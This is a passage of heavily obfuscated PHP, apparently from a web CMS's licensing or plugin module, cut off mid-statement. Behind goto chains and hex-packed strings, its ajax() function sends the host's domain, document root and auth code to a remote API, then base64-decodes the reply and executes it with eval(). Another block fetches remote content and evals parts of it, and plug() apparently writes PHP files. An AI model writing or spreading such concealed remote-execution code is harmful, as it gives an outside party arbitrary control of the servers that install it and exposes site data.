I4pldMhx8c;I4peWjgx8c:$I4pcVvPvPvP14=&$_SERVER[$I4peFvPvPvPvPvP3];goto I4px8b;I4pldMhx8c:$I4pcVvPvPvP14=$_SERVER[$I4peFvPvPvPvPvP3];I4px8b:$I4peFvPvPvP13=call_user_func_array("splitx",array(&$I4pcVvPvPvP14,&$I4peFvPvPvPvP8,0));$I4pvPvPvPA5=$I4peFvPvPvP0 . $I4peFvPvPvP13;$I4pvPvPvPA6=$I4pvPvPvPA5 . $t;unset($I4pcVvPvPvP16);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8a;goto I4pldMhx8a;I4peWjgx8a:$I4pcVvPvPvP16=&$GLOBALS[YUmfltv][00];goto I4px89;I4pldMhx8a:$I4pcVvPvPvP16=$GLOBALS[YUmfltv][00];I4px89:unset($I4pcVvPvPvP17);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx88;goto I4pldMhx88;I4peWjgx88:$I4pcVvPvPvP17=&$GLOBALS[YUmfltv][040];goto I4px87;I4pldMhx88:$I4pcVvPvPvP17=$GLOBALS[YUmfltv][040];I4px87:$I4peFvPvPvP15=call_user_func_array("pack",array(&$I4pcVvPvPvP16,&$I4pcVvPvPvP17));$I4pvPvPvPA7=$I4pvPvPvPA6 . $I4peFvPvPvP15;$I4pvPvPvPA8=$I4pvPvPvPA7 . $type;unset($I4pcVvPvPvP19);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx86;goto I4pldMhx86;I4peWjgx86:$I4pcVvPvPvP19=&$GLOBALS[YUmfltv][00];goto I4px85;I4pldMhx86:$I4pcVvPvPvP19=$GLOBALS[YUmfltv][00];I4px85:unset($I4pcVvPvPvP20);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx84;goto I4pldMhx84;I4peWjgx84:$I4pcVvPvPvP20=&$GLOBALS[YUmfltv][041];goto I4px83;I4pldMhx84:$I4pcVvPvPvP20=$GLOBALS[YUmfltv][041];I4px83:$I4peFvPvPvP18=call_user_func_array("pack",array(&$I4pcVvPvPvP19,&$I4pcVvPvPvP20));$I4pvPvPvPA9=$I4pvPvPvPA8 . $I4peFvPvPvP18;$I4peFvPvP28=call_user_func_array("file_get_contents",array(&$I4pvPvPvPA9));$I4peFvP29=call_user_func_array("substr",array(&$I4peFvPvP28,32));$I4peF30=call_user_func_array("base64_decode",array(&$I4peFvP29));unset($I4ptIAA);$html=$I4peF30;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8i;goto I4pldMhx8i;I4peWjgx8i:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px8h;I4pldMhx8i:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px8h:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,$GLOBALS[YUmfltv]{043}));$I4peF3=call_user_func_array("preg_match_all",array(&$I4peFvP0,&$html,&$arr));foreach($arr[0]as $value){unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8m;goto I4pldMhx8m;I4peWjgx8m:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px8l;I4pldMhx8m:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px8l:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8k;goto I4pldMhx8k;I4peWjgx8k:$I4pcVvP2=&$GLOBALS[YUmfltv][044];goto I4px8j;I4pldMhx8k:$I4pcVvP2=$GLOBALS[YUmfltv][044];I4px8j:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4pcVvP6);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8o;goto I4pldMhx8o;I4peWjgx8o:$I4pcVvP6=&$GLOBALS[YUmfltv][00];goto I4px8n;I4pldMhx8o:$I4pcVvP6=$GLOBALS[YUmfltv][00];I4px8n:$I4peFvP5=call_user_func_array("pack",array(&$I4pcVvP6,$GLOBALS[YUmfltv]{0x25}));$I4peF8=call_user_func_array("str_replace",array(&$I4peFvP0,&$I4peFvP5,&$value));unset($I4ptIA5);$v=$I4peF8;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8s;goto I4pldMhx8s;I4peWjgx8s:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px8r;I4pldMhx8s:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px8r:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8q;goto I4pldMhx8q;I4peWjgx8q:$I4pcVvP2=&$GLOBALS[YUmfltv][046];goto I4px8p;I4pldMhx8q:$I4pcVvP2=$GLOBALS[YUmfltv][046];I4px8p:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4pcVvP6);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8u;goto I4pldMhx8u;I4peWjgx8u:$I4pcVvP6=&$GLOBALS[YUmfltv][00];goto I4px8t;I4pldMhx8u:$I4pcVvP6=$GLOBALS[YUmfltv][00];I4px8t:$I4peFvP5=call_user_func_array("pack",array(&$I4pcVvP6,$GLOBALS[YUmfltv]{0x25}));$I4peF8=call_user_func_array("str_replace",array(&$I4peFvP0,&$I4peFvP5,&$v));unset($I4ptIA5);$v=$I4peF8;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8y;goto I4pldMhx8y;I4peWjgx8y:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px8x;I4pldMhx8y:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px8x:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx8w;goto I4pldMhx8w;I4peWjgx8w:$I4pcVvP2=&$GLOBALS[YUmfltv][047];goto I4px8v;I4pldMhx8w:$I4pcVvP2=$GLOBALS[YUmfltv][047];I4px8v:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4pcVvP6);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx93;goto I4pldMhx93;I4peWjgx93:$I4pcVvP6=&$GLOBALS[YUmfltv][00];goto I4px92;I4pldMhx93:$I4pcVvP6=$GLOBALS[YUmfltv][00];I4px92:unset($I4pcVvP7);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx91;goto I4pldMhx91;I4peWjgx91:$I4pcVvP7=&$GLOBALS[YUmfltv][0x28];goto I4px9z;I4pldMhx91:$I4pcVvP7=$GLOBALS[YUmfltv][0x28];I4px9z:$I4peFvP5=call_user_func_array("pack",array(&$I4pcVvP6,&$I4pcVvP7));$I4peF10=call_user_func_array("str_replace",array(&$I4peFvP0,&$I4peFvP5,&$v));unset($I4ptIA5);$v=$I4peF10;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx97;goto I4pldMhx97;I4peWjgx97:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px96;I4pldMhx97:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px96:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx95;goto I4pldMhx95;I4peWjgx95:$I4pcVvP2=&$GLOBALS[YUmfltv][0x29];goto I4px94;I4pldMhx95:$I4pcVvP2=$GLOBALS[YUmfltv][0x29];I4px94:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4pcVvP6);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9b;goto I4pldMhx9b;I4peWjgx9b:$I4pcVvP6=&$GLOBALS[YUmfltv][00];goto I4px9a;I4pldMhx9b:$I4pcVvP6=$GLOBALS[YUmfltv][00];I4px9a:unset($I4pcVvP7);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx99;goto I4pldMhx99;I4peWjgx99:$I4pcVvP7=&$GLOBALS[YUmfltv][052];goto I4px98;I4pldMhx99:$I4pcVvP7=$GLOBALS[YUmfltv][052];I4px98:$I4peFvP5=call_user_func_array("pack",array(&$I4pcVvP6,&$I4pcVvP7));$I4peF10=call_user_func_array("str_replace",array(&$I4peFvP0,&$I4peFvP5,&$v));unset($I4ptIA5);$v=$I4peF10;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9f;goto I4pldMhx9f;I4peWjgx9f:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px9e;I4pldMhx9f:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px9e:unset($I4pcVvP2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9d;goto I4pldMhx9d;I4peWjgx9d:$I4pcVvP2=&$GLOBALS[YUmfltv][43];goto I4px9c;I4pldMhx9d:$I4pcVvP2=$GLOBALS[YUmfltv][43];I4px9c:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,&$I4pcVvP2));unset($I4pcVvP6);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9h;goto I4pldMhx9h;I4peWjgx9h:$I4pcVvP6=&$GLOBALS[YUmfltv][00];goto I4px9g;I4pldMhx9h:$I4pcVvP6=$GLOBALS[YUmfltv][00];I4px9g:$I4peFvP5=call_user_func_array("pack",array(&$I4pcVvP6,$GLOBALS[YUmfltv]{44}));$I4peF8=call_user_func_array("str_replace",array(&$I4peFvP0,&$I4peFvP5,&$v));unset($I4ptIA5);$v=$I4peF8;unset($I4pcVvP1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9j;goto I4pldMhx9j;I4peWjgx9j:$I4pcVvP1=&$GLOBALS[YUmfltv][00];goto I4px9i;I4pldMhx9j:$I4pcVvP1=$GLOBALS[YUmfltv][00];I4px9i:$I4peFvP0=call_user_func_array("pack",array(&$I4pcVvP1,$GLOBALS[YUmfltv]{055}));unset($I4pcVvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9n;goto I4pldMhx9n;I4peWjgx9n:$I4pcVvP4=&$GLOBALS[YUmfltv][00];goto I4px9m;I4pldMhx9n:$I4pcVvP4=$GLOBALS[YUmfltv][00];I4px9m:unset($I4pcVvP5);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9l;goto I4pldMhx9l;I4peWjgx9l:$I4pcVvP5=&$GLOBALS[YUmfltv][46];goto I4px9k;I4pldMhx9l:$I4pcVvP5=$GLOBALS[YUmfltv][46];I4px9k:$I4peFvP3=call_user_func_array("pack",array(&$I4pcVvP4,&$I4pcVvP5));$I4peF8=call_user_func_array("str_replace",array(&$I4peFvP0,&$I4peFvP3,&$v));unset($I4ptIA5);$v=$I4peF8;eval($v);$I4peF0=call_user_func_array("str_replace",array(&$value,&$api,&$html));unset($I4ptIA5);$html=$I4peF0;unset($I4pcV1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9p;goto I4pldMhx9p;I4peWjgx9p:$I4pcV1=&$GLOBALS[YUmfltv][00];goto I4px9o;I4pldMhx9p:$I4pcV1=$GLOBALS[YUmfltv][00];I4px9o:$I4peF0=call_user_func_array("pack",array(&$I4pcV1,$GLOBALS[YUmfltv]{0x25}));unset($I4ptIA5);$api=$I4peF0;}unset($I4pcV1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgxaa;goto I4pldMhxaa;I4peWjgxaa:$I4pcV1=&$GLOBALS[YUmfltv][00];goto I4pxa9;I4pldMhxaa:$I4pcV1=$GLOBALS[YUmfltv][00];I4pxa9:unset($I4pcV2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgxa8;goto I4pldMhxa8;I4peWjgxa8:$I4pcV2=&$GLOBALS[YUmfltv][47];goto I4pxa7;I4pldMhxa8:$I4pcV2=$GLOBALS[YUmfltv][47];I4pxa7:$I4peF0=call_user_func_array("pack",array(&$I4pcV1,&$I4pcV2));$I4pA5=$html . $I4peF0;unset($I4pcVvPvP4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9t;goto I4pldMhx9t;I4peWjgx9t:$I4pcVvPvP4=&$GLOBALS[YUmfltv][00];goto I4px9s;I4pldMhx9t:$I4pcVvPvP4=$GLOBALS[YUmfltv][00];I4px9s:unset($I4pcVvPvP5);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9r;goto I4pldMhx9r;I4peWjgx9r:$I4pcVvPvP5=&$GLOBALS[YUmfltv][0x1A];goto I4px9q;I4pldMhx9r:$I4pcVvPvP5=$GLOBALS[YUmfltv][0x1A];I4px9q:$I4peFvPvP3=call_user_func_array("pack",array(&$I4pcVvPvP4,&$I4pcVvPvP5));unset($I4pcV9);if(is_array($_GET))goto I4peWjgxa6;goto I4pldMhxa6;I4peWjgxa6:$I4pcV9=&$_GET[$I4peFvPvP3];goto I4pxa5;I4pldMhxa6:$I4pcV9=$_GET[$I4peFvPvP3];I4pxa5:$I4peF8=call_user_func_array("t",array(&$I4pcV9));$I4pA6=$I4pA5 . $I4peF8;unset($I4pcV11);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgxa4;goto I4pldMhxa4;I4peWjgxa4:$I4pcV11=&$GLOBALS[YUmfltv][00];goto I4pxa3;I4pldMhxa4:$I4pcV11=$GLOBALS[YUmfltv][00];I4pxa3:$I4peF10=call_user_func_array("pack",array(&$I4pcV11,$GLOBALS[YUmfltv]{48}));$I4pA7=$I4pA6 . $I4peF10;unset($I4pcVvPvP13);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9v;goto I4pldMhx9v;I4peWjgx9v:$I4pcVvPvP13=&$GLOBALS[YUmfltv][00];goto I4px9u;I4pldMhx9v:$I4pcVvPvP13=$GLOBALS[YUmfltv][00];I4px9u:$I4peFvPvP12=call_user_func_array("pack",array(&$I4pcVvPvP13,$GLOBALS[YUmfltv]{0x31}));unset($I4pcV16);if(is_array($_GET))goto I4peWjgxa2;goto I4pldMhxa2;I4peWjgxa2:$I4pcV16=&$_GET[$I4peFvPvP12];goto I4pxa1;I4pldMhxa2:$I4pcV16=$_GET[$I4peFvPvP12];I4pxa1:$I4peF15=call_user_func_array("intval",array(&$I4pcV16));$I4pA8=$I4pA7 . $I4peF15;unset($I4pcV18);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgxaz;goto I4pldMhxaz;I4peWjgxaz:$I4pcV18=&$GLOBALS[YUmfltv][00];goto I4px9y;I4pldMhxaz:$I4pcV18=$GLOBALS[YUmfltv][00];I4px9y:unset($I4pcV19);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgx9x;goto I4pldMhx9x;I4peWjgx9x:$I4pcV19=&$GLOBALS[YUmfltv][062];goto I4px9w;I4pldMhx9x:$I4pcV19=$GLOBALS[YUmfltv][062];I4px9w:$I4peF17=call_user_func_array("pack",array(&$I4pcV18,&$I4pcV19));$I4pA9=$I4pA8 . $I4peF17;unset($I4ptIAA);$html=$I4pA9;unset($I4pcV1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgxan;goto I4pldMhxan;I4peWjgxan:$I4pcV1=&$GLOBALS[YUmfltv][00];goto I4pxam;I4pldMhxan:$I4pcV1=$GLOBALS[YUmfltv][00];I4pxam:$I4peF0=call_user_func_array("pack",array(&$I4pcV1,$GLOBALS[YUmfltv]{0x33}));$I4pA5=$type==$I4peF0;$I4pA7=(bool)$I4pA5;$I4pAB=!$I4pA7;if($I4pAB)goto I4peWjgxal;goto I4pldMhxal;I4peWjgxal:unset($I4pcV3);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgxaj;goto I4pldMhxaj;I4peWjgxaj:$I4pcV3=&$GLOBALS[YUmfltv][00];goto I4pxai;I4pldMhxaj:$I4pcV3=$GLOBALS[YUmfltv][00];I4pxai:unset($I4pcV4);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgxah;goto I4pldMhxah;I4peWjgxah:$I4pcV4=&$GLOBALS[YUmfltv][0x34];goto I4pxag;I4pldMhxah:$I4pcV4=$GLOBALS[YUmfltv][0x34];I4pxag:$I4peF2=call_user_func_array("pack",array(&$I4pcV3,&$I4pcV4));$I4pA6=$type==$I4peF2;$I4pA7=(bool)$I4pA6;goto I4pxak;I4pldMhxal:I4pxak:$I4pA9=(bool)$I4pA7;$I4pAA=!$I4pA9;if($I4pAA)goto I4peWjgxaf;goto I4pldMhxaf;I4peWjgxaf:unset($I4pcV6);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgxad;goto I4pldMhxad;I4peWjgxad:$I4pcV6=&$GLOBALS[YUmfltv][00];goto I4pxac;I4pldMhxad:$I4pcV6=$GLOBALS[YUmfltv][00];I4pxac:$I4peF5=call_user_func_array("pack",array(&$I4pcV6,$GLOBALS[YUmfltv]{53}));$I4pA8=$type==$I4peF5;$I4pA9=(bool)$I4pA8;goto I4pxae;I4pldMhxaf:I4pxae:if($I4pA9)goto I4peWjgxao;goto I4pldMhxao;I4peWjgxao:unset($I4pcV1);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgxas;goto I4pldMhxas;I4peWjgxas:$I4pcV1=&$GLOBALS[YUmfltv][00];goto I4pxar;I4pldMhxas:$I4pcV1=$GLOBALS[YUmfltv][00];I4pxar:unset($I4pcV2);if(is_array($GLOBALS[YUmfltv]))goto I4peWjgxaq;goto I4pldMhxaq;I4peWjgxaq:$I4pcV2=&$GLOBALS[YUmfltv][0x36];goto I4pxap;I4pldMhxaq:$I4pcV2=$GLOBALS[YUmfltv][0x36];I4pxap:$I4peF0=call_user_func_array("pack",array(&$I4pcV1,&$I4pcV2));$I4pA5=$html . $I4peF0;unset($I4ptIA6);$html=$I4pA5;goto I4pxab;I4pldMhxao:I4pxab:return $html;}function ajax($action,$data=""){$I4pA5=!defined("pkLUWZv");if($I4pA5)goto I4peWjgxau;goto I4pldMhxau;I4peWjgxau:$I4peF0=call_user_func_array("define",array("pkLUWZv","gnpetmv"));goto I4pxat;I4pldMhxau:I4pxat:$I4peF0=call_user_func_array("explode",array("|E|7|u","H*|E|7|u|E|7|u485454505F484F5354|E|7|u2F6170692F696E6465782E7068703F616374696F6E3D|E|7|u646F6D61696E3D|E|7|u26726F6F743D|E|7|u444F43554D454E545F524F4F54|E|7|u2661757468636F64653D|E|7|u26646174613D"));unset($I4ptIA5);$GLOBALS[pkLUWZv]=$I4peF0;global $conn,$C_authcode,$C_fdomain,$C_fzon,$from;$I4peF0=call_user_func_array("pack",array($GLOBALS[pkLUWZv]{00},$GLOBALS[pkLUWZv]{0x1}));$I4pA5=$C_fdomain!=$I4peF0;$I4pA7=(bool)$I4pA5;if($I4pA7)goto I4peWjgxb4;goto I4pldMhxb4;I4peWjgxb4:$I4pA6=$C_fzon==1;$I4pA7=(bool)$I4pA6;goto I4pxb3;I4pldMhxb4:I4pxb3:$I4pA9=(bool)$I4pA7;if($I4pA9)goto I4peWjgxb2;goto I4pldMhxb2;I4peWjgxb2:$I4peF1=call_user_func_array("www",array(&$C_fdomain));unset($I4pcVvPvP3);if(is_array($GLOBALS[pkLUWZv]))goto I4peWjgxax;goto I4pldMhxax;I4peWjgxax:$I4pcVvPvP3=&$GLOBALS[pkLUWZv][0x2];goto I4pxaw;I4pldMhxax:$I4pcVvPvP3=$GLOBALS[pkLUWZv][0x2];I4pxaw:$I4peFvPvP2=call_user_func_array("pack",array($GLOBALS[pkLUWZv]{00},&$I4pcVvPvP3));unset($I4pcV6);if(is_array($_SERVER))goto I4peWjgxbz;goto I4pldMhxbz;I4peWjgxbz:$I4pcV6=&$_SERVER[$I4peFvPvP2];goto I4pxay;I4pldMhxbz:$I4pcV6=$_SERVER[$I4peFvPvP2];I4pxay:$I4peF5=call_user_func_array("www",array(&$I4pcV6));$I4pA8=$I4peF1!=$I4peF5;$I4pA9=(bool)$I4pA8;goto I4pxb1;I4pldMhxb2:I4pxb1:if($I4pA9)goto I4peWjgxb5;goto I4pldMhxb5;I4peWjgxb5:unset($I4ptIA5);$domain=$C_fdomain;goto I4pxav;I4pldMhxb5:unset($I4pcVvP1);if(is_array($GLOBALS[pkLUWZv]))goto I4peWjgxb7;goto I4pldMhxb7;I4peWjgxb7:$I4pcVvP1=&$GLOBALS[pkLUWZv][0x2];goto I4pxb6;I4pldMhxb7:$I4pcVvP1=$GLOBALS[pkLUWZv][0x2];I4pxb6:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[pkLUWZv]{00},&$I4pcVvP1));unset($I4ptIA5);$domain=$_SERVER[$I4peFvP0];I4pxav:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[pkLUWZv]{00},$GLOBALS[pkLUWZv]{3}));$I4pvPA5=$from . $I4peFvP0;$I4pvPA6=$I4pvPA5 . $action;$I4peFvP1=call_user_func_array("pack",array($GLOBALS[pkLUWZv]{00},$GLOBALS[pkLUWZv]{0x4}));$I4pvPA7=$I4peFvP1 . $domain;unset($I4pcVvP3);if(is_array($GLOBALS[pkLUWZv]))goto I4peWjgxb9;goto I4pldMhxb9;I4peWjgxb9:$I4pcVvP3=&$GLOBALS[pkLUWZv][5];goto I4pxb8;I4pldMhxb9:$I4pcVvP3=$GLOBALS[pkLUWZv][5];I4pxb8:$I4peFvP2=call_user_func_array("pack",array($GLOBALS[pkLUWZv]{00},&$I4pcVvP3));$I4pvPA8=$I4pvPA7 . $I4peFvP2;$I4peFvPvP4=call_user_func_array("pack",array($GLOBALS[pkLUWZv]{00},$GLOBALS[pkLUWZv]{0x6}));$I4pvPA9=$I4pvPA8 . $_SERVER[$I4peFvPvP4];$I4peFvP5=call_user_func_array("pack",array($GLOBALS[pkLUWZv]{00},$GLOBALS[pkLUWZv]{0x7}));$I4pvPAA=$I4pvPA9 . $I4peFvP5;$I4pvPAB=$I4pvPAA . $C_authcode;$I4peFvP6=call_user_func_array("pack",array($GLOBALS[pkLUWZv]{00},$GLOBALS[pkLUWZv]{0x8}));$I4pvPAC=$I4pvPAB . $I4peFvP6;$I4peFvP7=call_user_func_array("urlencode",array(&$data));$I4pvPAD=$I4pvPAC . $I4peFvP7;$I4peF9=call_user_func_array("getbody",array(&$I4pvPA6,&$I4pvPAD));unset($I4ptIAE);$info=$I4peF9;$I4peF0=call_user_func_array("base64_decode",array(&$info));eval($I4peF0);}function checkauth(){$I4pA5=!defined("Xdslrav");if($I4pA5)goto I4peWjgxbb;goto I4pldMhxbb;I4peWjgxbb:$I4peF0=call_user_func_array("define",array("Xdslrav","LqezPjv"));goto I4pxba;I4pldMhxbb:I4pxba:$I4peF0=call_user_func_array("explode",array("|e|S|?","H*|e|S|?61757468|e|S|?|e|S|?485454505F484F5354|e|S|?2F6170692F696E6465782E7068703F616374696F6E3D636865636B6175746826646F6D61696E3D|e|S|?61757468636F64653D|e|S|?73756363657373"));unset($I4ptIA5);$GLOBALS[Xdslrav]=$I4peF0;global $conn,$C_authcode,$C_fdomain,$C_fzon,$from;unset($I4pcVvP1);if(is_array($GLOBALS[Xdslrav]))goto I4peWjgxbe;goto I4pldMhxbe;I4peWjgxbe:$I4pcVvP1=&$GLOBALS[Xdslrav][01];goto I4pxbd;I4pldMhxbe:$I4pcVvP1=$GLOBALS[Xdslrav][01];I4pxbd:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[Xdslrav]{0x0},&$I4pcVvP1));unset($I4pcV4);if(is_array($GLOBALS[Xdslrav]))goto I4peWjgxbg;goto I4pldMhxbg;I4peWjgxbg:$I4pcV4=&$GLOBALS[Xdslrav][01];goto I4pxbf;I4pldMhxbg:$I4pcV4=$GLOBALS[Xdslrav][01];I4pxbf:$I4peF3=call_user_func_array("pack",array($GLOBALS[Xdslrav]{0x0},&$I4pcV4));$I4pA5=$_SESSION[$I4peFvP0]==$I4peF3;if($I4pA5)goto I4peWjgxbh;goto I4pldMhxbh;I4peWjgxbh:return true;goto I4pxbc;I4pldMhxbh:unset($I4pcV1);if(is_array($GLOBALS[Xdslrav]))goto I4peWjgxbq;goto I4pldMhxbq;I4peWjgxbq:$I4pcV1=&$GLOBALS[Xdslrav][02];goto I4pxbp;I4pldMhxbq:$I4pcV1=$GLOBALS[Xdslrav][02];I4pxbp:$I4peF0=call_user_func_array("pack",array($GLOBALS[Xdslrav]{0x0},&$I4pcV1));$I4pA5=$C_fdomain!=$I4peF0;$I4pA7=(bool)$I4pA5;if($I4pA7)goto I4peWjgxbo;goto I4pldMhxbo;I4peWjgxbo:$I4pA6=$C_fzon==1;$I4pA7=(bool)$I4pA6;goto I4pxbn;I4pldMhxbo:I4pxbn:$I4pA9=(bool)$I4pA7;if($I4pA9)goto I4peWjgxbm;goto I4pldMhxbm;I4peWjgxbm:$I4peF2=call_user_func_array("www",array(&$C_fdomain));$I4peFvPvP3=call_user_func_array("pack",array($GLOBALS[Xdslrav]{0x0},$GLOBALS[Xdslrav]{0x3}));unset($I4pcV5);if(is_array($_SERVER))goto I4peWjgxbk;goto I4pldMhxbk;I4peWjgxbk:$I4pcV5=&$_SERVER[$I4peFvPvP3];goto I4pxbj;I4pldMhxbk:$I4pcV5=$_SERVER[$I4peFvPvP3];I4pxbj:$I4peF4=call_user_func_array("www",array(&$I4pcV5));$I4pA8=$I4peF2!=$I4peF4;$I4pA9=(bool)$I4pA8;goto I4pxbl;I4pldMhxbm:I4pxbl:if($I4pA9)goto I4peWjgxbr;goto I4pldMhxbr;I4peWjgxbr:unset($I4ptIA5);$domain=$C_fdomain;goto I4pxbi;I4pldMhxbr:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[Xdslrav]{0x0},$GLOBALS[Xdslrav]{0x3}));unset($I4ptIA5);$domain=$_SERVER[$I4peFvP0];I4pxbi:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[Xdslrav]{0x0},$GLOBALS[Xdslrav]{0x4}));$I4pvPA5=$from . $I4peFvP0;$I4pvPA6=$I4pvPA5 . $domain;$I4peFvP1=call_user_func_array("pack",array($GLOBALS[Xdslrav]{0x0},$GLOBALS[Xdslrav]{0x5}));$I4pvPA7=$I4peFvP1 . $C_authcode;$I4peF2=call_user_func_array("getbody",array(&$I4pvPA6,&$I4pvPA7));unset($I4ptIA8);$callback=$I4peF2;unset($I4pcV1);if(is_array($GLOBALS[Xdslrav]))goto I4peWjgxbu;goto I4pldMhxbu;I4peWjgxbu:$I4pcV1=&$GLOBALS[Xdslrav][6];goto I4pxbt;I4pldMhxbu:$I4pcV1=$GLOBALS[Xdslrav][6];I4pxbt:$I4peF0=call_user_func_array("pack",array($GLOBALS[Xdslrav]{0x0},&$I4pcV1));$I4pA5=$callback==$I4peF0;if($I4pA5)goto I4peWjgxbv;goto I4pldMhxbv;I4peWjgxbv:unset($I4pcVvP1);if(is_array($GLOBALS[Xdslrav]))goto I4peWjgxbx;goto I4pldMhxbx;I4peWjgxbx:$I4pcVvP1=&$GLOBALS[Xdslrav][01];goto I4pxbw;I4pldMhxbx:$I4pcVvP1=$GLOBALS[Xdslrav][01];I4pxbw:$I4peFvP0=call_user_func_array("pack",array($GLOBALS[Xdslrav]{0x0},&$I4pcVvP1));unset($I4pcV4);if(is_array($GLOBALS[Xdslrav]))goto I4peWjgxcz;goto I4pldMhxcz;I4peWjgxcz:$I4pcV4=&$GLOBALS[Xdslrav][01];goto I4pxby;I4pldMhxcz:$I4pcV4=$GLOBALS[Xdslrav][01];I4pxby:$I4peF3=call_user_func_array("pack",array($GLOBALS[Xdslrav]{0x0},&$I4pcV4));unset($I4ptIA5);$I4ptIA5=$I4peF3;$_SESSION[$I4peFvP0]=$I4ptIA5;return true;goto I4pxbs;I4pldMhxbv:return false;I4pxbs:I4pxbc:}function plug($plug,$path){$I4pA5=!defined("OlvapEQ");if($I4pA5)goto I4peWjgxc2;goto I4pldMhxc2;I4peWjgxc2:$I4peF0=call_user_func_array("define",array("OlvapEQ","bvdqVpQ"));goto I4pxc1;I4pldMhxc2:I4pxc1:$I4peF0=call_user_func_array("explode",array("|E|'|s","H*|E|'|s|E|'|s485454505F484F5354|E|'|s2E706870|E|'|s3C3F706870202F2F|E|'|s2F6170692F696E6465782E7068703F616374696F6E3D706C756726646F6D61696E3D|E|'|s61757468636F64653D|E|'|s26706C75673D"));unset($I4ptIA5);$GLOBALS[OlvapEQ]=$I4peF0;global $conn,$C_authcode,$C_fdomain,$C_fzon,$from;unset($I4pcV1);if(is_array($GLOBALS[OlvapEQ]))goto I4peWjgxcd;goto I4pldMhxcd;I4peWjgxcd:$I4pcV1=&$GLOBALS[OlvapEQ][1];goto I4pxcc;I4pldMhxcd:$I4pcV1=$GLOBALS[OlvapEQ][1];I4pxcc:$I4peF0=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},&$I4pcV1));$I4pA5=$C_fdomain!=$I4peF0;$I4pA7=(bool)$I4pA5;if($I4pA7)goto I4peWjgxcb;goto I4pldMhxcb;I4peWjgxcb:$I4pA6=$C_fzon==1;$I4pA7=(bool)$I4pA6;goto I4pxca;I4pldMhxcb:I4pxca:$I4pA9=(bool)$I4pA7;if($I4pA9)goto I4peWjgxc9;goto I4pldMhxc9;I4peWjgxc9:$I4peF2=call_user_func_array("www",array(&$C_fdomain));unset($I4pcVvPvP4);if(is_array($GLOBALS[OlvapEQ]))goto I4peWjgxc5;goto I4pldMhxc5;I4peWjgxc5:$I4pcVvPvP4=&$GLOBALS[OlvapEQ][0x2];goto I4pxc4;I4pldMhxc5:$I4pcVvPvP4=$GLOBALS[OlvapEQ][0x2];I4pxc4:$I4peFvPvP3=call_user_func_array("pack",array($GLOBALS[OlvapEQ]{00},&$I4pcVvPvP4));unset($I4pcV7);if(is_array($_SERVER))goto I4peWjgxc7;goto I4pldMhxc7;I4peWjgxc7:$I4pcV7=&$_SERVER[$I4peFvPvP3];goto 